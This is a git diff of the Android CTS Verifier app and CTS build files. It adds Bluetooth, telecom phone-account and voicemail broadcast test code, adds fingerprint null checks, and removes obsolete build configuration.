diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/TestTaskQueue.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/TestTaskQueue.java
new file mode 100644
index 0000000..5ceee0c
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/TestTaskQueue.java
@@ -0,0 +1,86 @@
+/*

+ * Copyright (C) 2016 The Android Open Source Project

+ *

+ * Licensed under the Apache License, Version 2.0 (the "License");

+ * you may not use this file except in compliance with the License.

+ * You may obtain a copy of the License at

+ *

+ *      http://www.apache.org/licenses/LICENSE-2.0

+ *

+ * Unless required by applicable law or agreed to in writing, software

+ * distributed under the License is distributed on an "AS IS" BASIS,

+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.

+ * See the License for the specific language governing permissions and

+ * limitations under the License.

+ */

+package com.android.cts.verifier.bluetooth;

+

+import android.os.Handler;

+import android.os.HandlerThread;

+

+import java.util.ArrayList;

+

+/**

+ * TestTaskQueue runs asynchronous operations on background thread.

+ *

+ * TestTaskQueue holds Handler which runs on background thread.

+ * Asynchronous operations will be run by adding operation by addTask().

+ * Each operations will be managed by Handler.

+ */

+public class TestTaskQueue {

+

+    private Handler mHandler;

+    private ArrayList<Runnable> mTasks = new ArrayList<>();

+

+    public TestTaskQueue(String threadName) {

+        HandlerThread th = new HandlerThread(threadName);

+        th.start();

+        mHandler = new Handler(th.getLooper());

+    }

+

+    /**

+     * Cancels all pending operations.

+     */

+    public synchronized void quit() {

+        // cancel all pending operations.

+        for (Runnable task : mTasks) {

+            mHandler.removeCallbacks(task);

+        }

+        mTasks.clear();

+

+        // terminate Handler

+        mHandler.getLooper().quit();

+        mHandler = null;

+    }

+

+    /**

+     * Reserves new asynchronous operation.

+     * Operations will be run sequentially.

+     *

+     * @param r new operation

+     */

+    public synchronized void addTask(Runnable r) {

+        addTask(r, 0);

+    }

+

+    /**

+     * Reserves new asynchronous operation.

+     * Operations will be run sequentially.

+     *

+     * @param r new operation

+     * @param delay delay for execution

+     */

+    public synchronized void addTask(final Runnable r, long delay) {

+        if ((mHandler != null) && (r != null)) {

+            Runnable task = new Runnable() {

+                @Override

+                public void run() {

+                    mTasks.remove(this);

+                    r.run();

+                }

+            };

+            mTasks.add(task);

+            mHandler.postDelayed(task, delay);

+        }

+    }

+}

diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodHelperActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodHelperActivity.java
index 86087f2..c8eace5 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodHelperActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodHelperActivity.java
@@ -182,6 +182,7 @@
         final Notification notification = new Notification.Builder(this)
                 .setSmallIcon(R.drawable.icon)
                 .setContentTitle(getString(R.string.provisioning_byod_notification_title))
+                .setContentText(getString(R.string.provisioning_byod_notification_title))
                 .setVisibility(visibility)
                 .setAutoCancel(true)
                 .build();
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java
index 2663364..ce53b61 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java
@@ -147,21 +147,12 @@
                         .putExtra(EXTRA_TEST_ID, getIntent().getStringExtra(EXTRA_TEST_ID))));
 
         // device admin settings
-        if (getPackageManager().hasSystemFeature(PackageManager.FEATURE_WATCH)) {
-            adapter.add(createInteractiveTestItem(this, DEVICE_ADMIN_SETTINGS_ID,
-                    R.string.device_owner_device_admin_visible,
-                    R.string.device_owner_device_admin_visible_info,
-                    new ButtonInfo(
-                            R.string.device_owner_settings_go,
-                            new Intent(Settings.ACTION_SETTINGS))));
-        } else {
-            adapter.add(createInteractiveTestItem(this, DEVICE_ADMIN_SETTINGS_ID,
-                    R.string.device_owner_device_admin_visible,
-                    R.string.device_owner_device_admin_visible_info,
-                    new ButtonInfo(
-                            R.string.device_owner_settings_go,
-                            new Intent(Settings.ACTION_SECURITY_SETTINGS))));
-        }
+        adapter.add(createInteractiveTestItem(this, DEVICE_ADMIN_SETTINGS_ID,
+                R.string.device_owner_device_admin_visible,
+                R.string.device_owner_device_admin_visible_info,
+                new ButtonInfo(
+                        R.string.device_owner_settings_go,
+                        new Intent(Settings.ACTION_SECURITY_SETTINGS))));
 
         PackageManager packageManager = getPackageManager();
         if (packageManager.hasSystemFeature(PackageManager.FEATURE_WIFI)) {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/KeyguardDisabledFeaturesActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/KeyguardDisabledFeaturesActivity.java
index 27a140c..31a8791 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/KeyguardDisabledFeaturesActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/KeyguardDisabledFeaturesActivity.java
@@ -120,7 +120,7 @@
 
     protected void setupFingerprintTests(ArrayTestListAdapter adapter) {
         FingerprintManager fpm = (FingerprintManager) getSystemService(Context.FINGERPRINT_SERVICE);
-        if (fpm.isHardwareDetected()) {
+        if (fpm != null && fpm.isHardwareDetected()) {
             adapter.add(new DialogTestListItem(this,
                     R.string.provisioning_byod_fingerprint_disabled_in_settings,
                     getTestIdPrefix() + "FingerprintDisabledInSettings",
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/OrganizationInfoTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/OrganizationInfoTestActivity.java
index 235a0da..7c5f374 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/OrganizationInfoTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/OrganizationInfoTestActivity.java
@@ -19,7 +19,6 @@
 import android.content.Intent;
 import android.graphics.Color;
 import android.os.Bundle;
-import android.provider.Settings;
 import android.view.View;
 import android.widget.EditText;
 import android.widget.Toast;
@@ -47,7 +46,6 @@
     }
 
     private void setButtonClickListeners() {
-        findViewById(R.id.organization_info_settings_button).setOnClickListener(this);
         findViewById(R.id.organization_info_set_button).setOnClickListener(this);
         findViewById(R.id.go_button).setOnClickListener(this);
     }
@@ -66,11 +64,7 @@
         } else if (view.getId() == R.id.go_button) {
             Intent intent = new Intent(ByodHelperActivity.ACTION_LAUNCH_CONFIRM_WORK_CREDENTIALS);
             startActivity(intent);
-        } else if (view.getId() == R.id.organization_info_settings_button) {
-            Intent intent = new Intent(Settings.ACTION_SETTINGS);
-            startActivity(intent);
         }
-
     }
 
     private boolean isOrganizationColorSet() {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/net/ConnectivityScreenOffTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/net/ConnectivityScreenOffTestActivity.java
index b1631d8..6109893 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/net/ConnectivityScreenOffTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/net/ConnectivityScreenOffTestActivity.java
@@ -74,9 +74,6 @@
  *     [3] If the device has a battery, the device must be disconnected from any power source.
  *     [4] The screen is put to sleep.
  *     [5] After two minutes, another IPv6 connectivity test is performed.
- *
- * Note that devices that would never go into "screen off" status regardless of the reported
- * batter status, are allowed to skip the test.
  */
 public class ConnectivityScreenOffTestActivity extends PassFailButtons.Activity {
 
@@ -114,13 +111,8 @@
         mIntentFilter = new IntentFilter();
         mIntentFilter.addAction(Intent.ACTION_SCREEN_ON);
         mIntentFilter.addAction(Intent.ACTION_SCREEN_OFF);
-        // note that in some cases, it is not possible to turn off the device screen and in that
-        // case the test may be skipped
-
         mIntentFilter.addAction(Intent.ACTION_POWER_CONNECTED);
         mIntentFilter.addAction(Intent.ACTION_POWER_DISCONNECTED);
-        // note that in some cases, it is not possible to keep the device running with the power
-        // disconnected, and in that case the test may be skipped
     }
 
     @Override
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/ConditionProviderVerifierActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/ConditionProviderVerifierActivity.java
index 496414f..0b0be81 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/ConditionProviderVerifierActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/ConditionProviderVerifierActivity.java
@@ -399,6 +399,11 @@
                                 // Now that it's subscribed, remove the rule and verify that it
                                 // unsubscribes.
                                 mNm.removeAutomaticZenRule(id);
+                                try {
+                                    Thread.sleep(3000);
+                                } catch (InterruptedException e) {
+                                    logFail("unexpected InterruptedException");
+                                }
                                 MockConditionProvider.probeSubscribe(mContext,
                                         new MockConditionProvider.ParcelableListResultCatcher() {
                                             @Override
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/BatchingTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/BatchingTestActivity.java
index 7ef63d7..b7d9617 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/BatchingTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/BatchingTestActivity.java
@@ -19,6 +19,7 @@
 import com.android.cts.verifier.R;
 import com.android.cts.verifier.sensors.base.SensorCtsVerifierTestActivity;
 
+import android.content.pm.PackageManager;
 import android.hardware.Sensor;
 import android.hardware.SensorManager;
 import android.hardware.cts.helpers.TestSensorEnvironment;
@@ -82,6 +83,9 @@
 
     @SuppressWarnings("unused")
     public String testProximity_batching() throws Throwable {
+        if (getPackageManager().hasSystemFeature(PackageManager.FEATURE_SENSOR_PROXIMITY)) {
+            return null;
+        }
         return runBatchTest(
                 Sensor.TYPE_PROXIMITY,
                 REPORT_LATENCY_10_SEC,
@@ -90,6 +94,9 @@
 
     @SuppressWarnings("unused")
     public String testProximity_flush() throws Throwable {
+        if (getPackageManager().hasSystemFeature(PackageManager.FEATURE_SENSOR_PROXIMITY)) {
+            return null;
+        }
         return runFlushTest(
                 Sensor.TYPE_PROXIMITY,
                 REPORT_LATENCY_10_SEC,
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/telecom/CtsConnectionService.java b/apps/CtsVerifier/src/com/android/cts/verifier/telecom/CtsConnectionService.java
new file mode 100644
index 0000000..5ff3138
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/telecom/CtsConnectionService.java
@@ -0,0 +1,27 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package com.android.cts.verifier.telecom;
+
+import android.telecom.ConnectionService;
+
+/**
+ * CTS Verifier ConnectionService implementation.
+ */
+public class CtsConnectionService extends ConnectionService {
+
+
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/telecom/EnablePhoneAccountTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/telecom/EnablePhoneAccountTestActivity.java
new file mode 100644
index 0000000..2b7201a
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/telecom/EnablePhoneAccountTestActivity.java
@@ -0,0 +1,81 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package com.android.cts.verifier.telecom;
+
+import android.os.Bundle;
+import android.telecom.PhoneAccount;
+import android.view.View;
+import android.widget.Button;
+import android.widget.ImageView;
+
+import com.android.cts.verifier.PassFailButtons;
+import com.android.cts.verifier.R;
+
+/**
+ * Tests that a new {@link android.telecom.ConnectionService} be added and its associated
+ * {@link android.telecom.PhoneAccount} enabled using the calling accounts settings screen.
+ */
+public class EnablePhoneAccountTestActivity extends PassFailButtons.Activity {
+
+    private Button mRegisterPhoneAccount;
+    private Button mConfirm;
+    private ImageView mStep1Status;
+    private ImageView mStep2Status;
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        View view = getLayoutInflater().inflate(R.layout.telecom_enable_phone_account, null);
+        setContentView(view);
+        setInfoResources(R.string.telecom_enable_phone_account_test,
+                R.string.telecom_enable_phone_account_info, -1);
+        setPassFailButtonClickListeners();
+        getPassButton().setEnabled(false);
+
+        mRegisterPhoneAccount = (Button) view.findViewById(
+                R.id.telecom_enable_phone_account_register_button);
+        mRegisterPhoneAccount.setOnClickListener(v -> {
+            PhoneAccountUtils.registerTestPhoneAccount(this);
+            PhoneAccount account = PhoneAccountUtils.getPhoneAccount(this);
+            if (account != null) {
+                mConfirm.setEnabled(true);
+                mRegisterPhoneAccount.setEnabled(false);
+                mStep1Status.setImageResource(R.drawable.fs_good);
+            } else {
+                mStep1Status.setImageResource(R.drawable.fs_error);
+            }
+        });
+
+        mConfirm = (Button) view.findViewById(R.id.telecom_enable_phone_account_confirm_button);
+        mConfirm.setOnClickListener(v -> {
+            PhoneAccount account = PhoneAccountUtils.getPhoneAccount(this);
+            if (account != null && account.isEnabled()) {
+                getPassButton().setEnabled(true);
+                mStep2Status.setImageResource(R.drawable.fs_good);
+                mConfirm.setEnabled(false);
+                PhoneAccountUtils.unRegisterTestPhoneAccount(this);
+            } else {
+                mStep2Status.setImageResource(R.drawable.fs_error);
+            }
+        });
+        mConfirm.setEnabled(false);
+
+        mStep1Status = (ImageView) view.findViewById(R.id.step_1_status);
+        mStep2Status = (ImageView) view.findViewById(R.id.step_2_status);
+    }
+
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/telecom/PhoneAccountUtils.java b/apps/CtsVerifier/src/com/android/cts/verifier/telecom/PhoneAccountUtils.java
new file mode 100644
index 0000000..4201ffd
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/telecom/PhoneAccountUtils.java
@@ -0,0 +1,76 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package com.android.cts.verifier.telecom;
+
+import android.content.ComponentName;
+import android.content.Context;
+import android.net.Uri;
+import android.telecom.PhoneAccount;
+import android.telecom.PhoneAccountHandle;
+import android.telecom.TelecomManager;
+
+import com.android.cts.verifier.PassFailButtons;
+
+/**
+ * Utilities class for dealing with the Telecom CTS Verifier PhoneAccounts.
+ */
+public class PhoneAccountUtils {
+    public static final String TEST_PHONE_ACCOUNT_ID = "test";
+    public static final String TEST_PHONE_ACCOUNT_LABEL = "CTS Verifier Test";
+    public static final Uri TEST_PHONE_ACCOUNT_ADDRESS = Uri.parse("sip:test@android.com");
+
+    public static final PhoneAccountHandle TEST_PHONE_ACCOUNT_HANDLE =
+            new PhoneAccountHandle(new ComponentName(
+                    PassFailButtons.class.getPackage().getName(),
+                    CtsConnectionService.class.getName()), TEST_PHONE_ACCOUNT_ID);
+    public static final PhoneAccount TEST_PHONE_ACCOUNT = new PhoneAccount.Builder(
+            TEST_PHONE_ACCOUNT_HANDLE, TEST_PHONE_ACCOUNT_LABEL)
+            .setAddress(TEST_PHONE_ACCOUNT_ADDRESS)
+            .setCapabilities(PhoneAccount.CAPABILITY_CALL_PROVIDER)
+            .build();
+
+    /**
+     * Registers the test phone account.
+     * @param context The context.
+     */
+    public static void registerTestPhoneAccount(Context context) {
+        TelecomManager telecomManager = (TelecomManager) context.getSystemService(
+                Context.TELECOM_SERVICE);
+        telecomManager.registerPhoneAccount(TEST_PHONE_ACCOUNT);
+    }
+
+    /**
+     * Retrieves the test phone account, or null if not registered.
+     * @param context The context.
+     * @return The Phone Account.
+     */
+    public static PhoneAccount getPhoneAccount(Context context) {
+        TelecomManager telecomManager = (TelecomManager) context.getSystemService(
+                Context.TELECOM_SERVICE);
+        return telecomManager.getPhoneAccount(TEST_PHONE_ACCOUNT_HANDLE);
+    }
+
+    /**
+     * Unregisters the test phone account.
+     * @param context The context.
+     */
+    public static void unRegisterTestPhoneAccount(Context context) {
+        TelecomManager telecomManager = (TelecomManager) context.getSystemService(
+                Context.TELECOM_SERVICE);
+        telecomManager.unregisterPhoneAccount(TEST_PHONE_ACCOUNT_HANDLE);
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/voicemail/VoicemailBroadcastActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/voicemail/VoicemailBroadcastActivity.java
new file mode 100644
index 0000000..8250594
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/voicemail/VoicemailBroadcastActivity.java
@@ -0,0 +1,168 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+
+package com.android.cts.verifier.voicemail;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.os.Bundle;
+import android.telecom.TelecomManager;
+import android.view.View;
+import android.view.View.OnClickListener;
+import android.widget.Button;
+import android.widget.ImageView;
+import android.widget.TextView;
+import android.widget.Toast;
+import com.android.cts.verifier.PassFailButtons;
+import com.android.cts.verifier.R;
+import com.android.cts.verifier.voicemail.VoicemailBroadcastReceiver.ReceivedListener;
+
+/**
+ * This test ask the tester to set the CTS verifier as the default dialer and leave a voicemail. The
+ * test will pass if the verifier is able to receive a broadcast for the incoming voicemail. This
+ * depends on telephony to send the broadcast to the default dialer when receiving a Message Waiting
+ * Indicator SMS.
+ */
+public class VoicemailBroadcastActivity extends PassFailButtons.Activity {
+
+    private String mDefaultDialer;
+
+    private ImageView mSetDefaultDialerImage;
+    private ImageView mLeaveVoicemailImage;
+    private TextView mLeaveVoicemailText;
+    private ImageView mRestoreDefaultDialerImage;
+    private TextView mRestoreDefaultDialerText;
+
+    private Button mSetDefaultDialerButton;
+    private Button mRestoreDefaultDialerButton;
+
+    private BroadcastReceiver mDefaultDialerChangedReceiver = new BroadcastReceiver() {
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            String packageName =
+                    intent.getStringExtra(TelecomManager.EXTRA_CHANGE_DEFAULT_DIALER_PACKAGE_NAME);
+            if (!getPassButton().isEnabled()) {
+                updateSetDefaultDialerState(packageName);
+            } else {
+                if (packageName.equals(getPackageName())) {
+                    mRestoreDefaultDialerImage
+                            .setImageDrawable(getDrawable(R.drawable.fs_indeterminate));
+                } else {
+                    mRestoreDefaultDialerImage.setImageDrawable(getDrawable(R.drawable.fs_good));
+                }
+            }
+        }
+    };
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        View view = getLayoutInflater().inflate(R.layout.voicemail_broadcast, null);
+        setContentView(view);
+        setInfoResources(R.string.voicemail_broadcast_test,
+                R.string.voicemail_broadcast_instructions, -1);
+        setPassFailButtonClickListeners();
+        getPassButton().setEnabled(false);
+
+        mSetDefaultDialerImage = (ImageView) findViewById(R.id.set_default_dialer_image);
+        mLeaveVoicemailImage = (ImageView) findViewById(R.id.leave_voicemail_image);
+        mLeaveVoicemailText = (TextView) findViewById(R.id.leave_voicemail_text);
+        mRestoreDefaultDialerImage = (ImageView) findViewById(R.id.restore_default_dialer_image);
+        mRestoreDefaultDialerText = (TextView) findViewById(R.id.restore_default_dialer_text);
+
+        mSetDefaultDialerButton = (Button) view.findViewById(R.id.set_default_dialer);
+        mRestoreDefaultDialerButton = (Button) view.findViewById(R.id.restore_default_dialer);
+
+        final TelecomManager telecomManager = getSystemService(TelecomManager.class);
+        mDefaultDialer = telecomManager.getDefaultDialerPackage();
+        updateSetDefaultDialerState(mDefaultDialer);
+        if (mDefaultDialer.equals(getPackageName())) {
+            // The CTS verifier is already the default dialer (probably due to the tester exiting
+            // mid test. We don't know what the default dialer should be so just prompt the tester
+            // to restore it through settings, and remove the button.
+            mRestoreDefaultDialerText
+                    .setText(R.string.voicemail_restore_default_dialer_no_default_description);
+            mRestoreDefaultDialerButton.setVisibility(View.GONE);
+        }
+
+        mSetDefaultDialerButton.setOnClickListener(new OnClickListener() {
+            @Override
+            public void onClick(View v) {
+                if (telecomManager.getDefaultDialerPackage().equals(getPackageName())) {
+                    Toast.makeText(VoicemailBroadcastActivity.this,
+                            R.string.voicemail_default_dialer_already_set, Toast.LENGTH_SHORT)
+                            .show();
+                    return;
+                }
+
+                final Intent intent = new Intent(TelecomManager.ACTION_CHANGE_DEFAULT_DIALER);
+                intent.putExtra(TelecomManager.EXTRA_CHANGE_DEFAULT_DIALER_PACKAGE_NAME,
+                        getPackageName());
+                startActivityForResult(intent, 0);
+            }
+        });
+
+        mRestoreDefaultDialerButton.setOnClickListener(new OnClickListener() {
+            @Override
+            public void onClick(View v) {
+                if (telecomManager.getDefaultDialerPackage().equals(mDefaultDialer)) {
+                    Toast.makeText(VoicemailBroadcastActivity.this,
+                            R.string.voicemail_default_dialer_already_restored, Toast.LENGTH_SHORT)
+                            .show();
+                    return;
+                }
+
+                final Intent intent = new Intent(TelecomManager.ACTION_CHANGE_DEFAULT_DIALER);
+                intent.putExtra(TelecomManager.EXTRA_CHANGE_DEFAULT_DIALER_PACKAGE_NAME,
+                        mDefaultDialer);
+                startActivityForResult(intent, 0);
+            }
+        });
+
+        VoicemailBroadcastReceiver.setListener(new ReceivedListener() {
+            @Override
+            public void onReceived() {
+
+                Toast.makeText(VoicemailBroadcastActivity.this,
+                        R.string.voicemail_broadcast_received, Toast.LENGTH_SHORT).show();
+                mLeaveVoicemailImage.setImageDrawable(getDrawable(R.drawable.fs_good));
+                mLeaveVoicemailText.setText(R.string.voicemail_broadcast_received);
+                getPassButton().setEnabled(true);
+            }
+        });
+
+        registerReceiver(mDefaultDialerChangedReceiver,
+                new IntentFilter(TelecomManager.ACTION_DEFAULT_DIALER_CHANGED));
+    }
+
+    @Override
+    protected void onDestroy() {
+        VoicemailBroadcastReceiver.setListener(null);
+        unregisterReceiver(mDefaultDialerChangedReceiver);
+        super.onDestroy();
+    }
+
+    private void updateSetDefaultDialerState(String packageName) {
+        if (packageName.equals(getPackageName())) {
+            mSetDefaultDialerImage.setImageDrawable(getDrawable(R.drawable.fs_good));
+        } else {
+            mSetDefaultDialerImage.setImageDrawable(getDrawable(R.drawable.fs_indeterminate));
+        }
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/voicemail/VoicemailBroadcastReceiver.java b/apps/CtsVerifier/src/com/android/cts/verifier/voicemail/VoicemailBroadcastReceiver.java
new file mode 100644
index 0000000..1785576
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/voicemail/VoicemailBroadcastReceiver.java
@@ -0,0 +1,47 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.voicemail;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+
+/**
+ * Receiver used by {@link VoicemailBroadcastActivity} to receive {@link
+ * android.telephony.TelephonyManager.ACTION_SHOW_VOICEMAIL_NOTIFICATION}, which must be a manifest
+ * receiver.
+ */
+public class VoicemailBroadcastReceiver extends BroadcastReceiver {
+
+    public interface ReceivedListener {
+
+        void onReceived();
+    }
+
+    private static ReceivedListener sListener;
+
+    public static void setListener(ReceivedListener listener) {
+        sListener = listener;
+    }
+
+    @Override
+    public void onReceive(Context context, Intent intent) {
+        if (sListener != null) {
+            sListener.onReceived();
+        }
+    }
+}
diff --git a/apps/cts-usb-accessory/Android.mk b/apps/cts-usb-accessory/Android.mk
index f3a7ebd..7699b1a 100644
--- a/apps/cts-usb-accessory/Android.mk
+++ b/apps/cts-usb-accessory/Android.mk
@@ -28,6 +28,7 @@
 
 LOCAL_C_INCLUDES += \
 	bionic/libc/kernel/uapi \
+	bionic/libc/kernel/android/uapi \
 	bionic/libc/kernel/uapi/asm-x86 \
 
 LOCAL_STATIC_LIBRARIES := libusbhost libcutils
diff --git a/build/config.mk b/build/config.mk
index 3b9723b..573dc7b 100644
--- a/build/config.mk
+++ b/build/config.mk
@@ -14,40 +14,14 @@
 
 # Test XMLs, native executables, and packages will be placed in this
 # directory before creating the final CTS distribution.
-CTS_TESTCASES_OUT := $(HOST_OUT)/old-cts/old-android-cts/repository/testcases
-
 COMPATIBILITY_TESTCASES_OUT_cts := $(HOST_OUT)/cts/android-cts/testcases
 
-# Scanners of source files for tests which are then inputed into
-# the XML generator to produce test XMLs.
-CTS_NATIVE_TEST_SCANNER := $(HOST_OUT_EXECUTABLES)/cts-native-scanner
-CTS_JAVA_TEST_SCANNER := $(HOST_OUT_EXECUTABLES)/cts-java-scanner
-CTS_JAVA_TEST_SCANNER_DOCLET := $(HOST_OUT_JAVA_LIBRARIES)/cts-java-scanner-doclet.jar
-
-# Generator of test XMLs from scanner output.
-CTS_XML_GENERATOR := $(HOST_OUT_EXECUTABLES)/cts-xml-generator
-
-# File indicating which tests should be blacklisted due to problems.
-CTS_EXPECTATIONS := cts/tests/expectations/knownfailures.txt
-
-# File indicating which tests should be blacklisted due to unsupported abi.
-CTS_UNSUPPORTED_ABIS := cts/tests/expectations/unsupportedabis.txt
-
-# Holds the target architecture to build for.
-CTS_TARGET_ARCH := $(TARGET_ARCH)
-
-# default module config filename
-CTS_MODULE_TEST_CONFIG := AndroidTest.xml
-
 # CTS build rules
 BUILD_COMPATIBILITY_SUITE := cts/build/compatibility_test_suite.mk
 BUILD_CTS_EXECUTABLE := cts/build/test_executable.mk
 BUILD_CTS_PACKAGE := cts/build/test_package.mk
-BUILD_CTS_GTEST_PACKAGE := cts/build/test_gtest_package.mk
-BUILD_CTS_HOST_JAVA_LIBRARY := cts/build/test_host_java_library.mk
+BUILD_CTS_HOST_JAVA_LIBRARY := $(BUILD_HOST_JAVA_LIBRARY)
 BUILD_CTS_TARGET_JAVA_LIBRARY := cts/build/test_target_java_library.mk
-BUILD_CTS_DEQP_PACKAGE := cts/build/test_deqp_package.mk
 BUILD_CTS_SUPPORT_PACKAGE := cts/build/support_package.mk
-BUILD_CTS_MODULE_TEST_CONFIG := cts/build/module_test_config.mk
 BUILD_CTS_DEVICE_INFO_PACKAGE := cts/build/device_info_package.mk
 BUILD_CTS_TARGET_TESTNG_PACKAGE := cts/build/test_target_testng_package.mk
diff --git a/build/device_info_package.mk b/build/device_info_package.mk
index b91c264..4746e9c 100644
--- a/build/device_info_package.mk
+++ b/build/device_info_package.mk
@@ -49,7 +49,7 @@
 
 # Generator of APK manifests.
 MANIFEST_GENERATOR_JAR := $(HOST_OUT_JAVA_LIBRARIES)/compatibility-manifest-generator.jar
-MANIFEST_GENERATOR := java -jar $(MANIFEST_GENERATOR_JAR)
+MANIFEST_GENERATOR := $(JAVA) -jar $(MANIFEST_GENERATOR_JAR)
 
 # Generate the manifest
 manifest_xml := $(call intermediates-dir-for,APPS,$(LOCAL_PACKAGE_NAME))/AndroidManifest.xml
diff --git a/build/module_test_config.mk b/build/module_test_config.mk
deleted file mode 100644
index fec4893..0000000
--- a/build/module_test_config.mk
+++ /dev/null
@@ -1,21 +0,0 @@
-# Copyright (C) 2015 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-ifneq ($(LOCAL_CTS_MODULE_CONFIG),)
-cts_module_test_config := $(CTS_TESTCASES_OUT)/$(LOCAL_MODULE).config
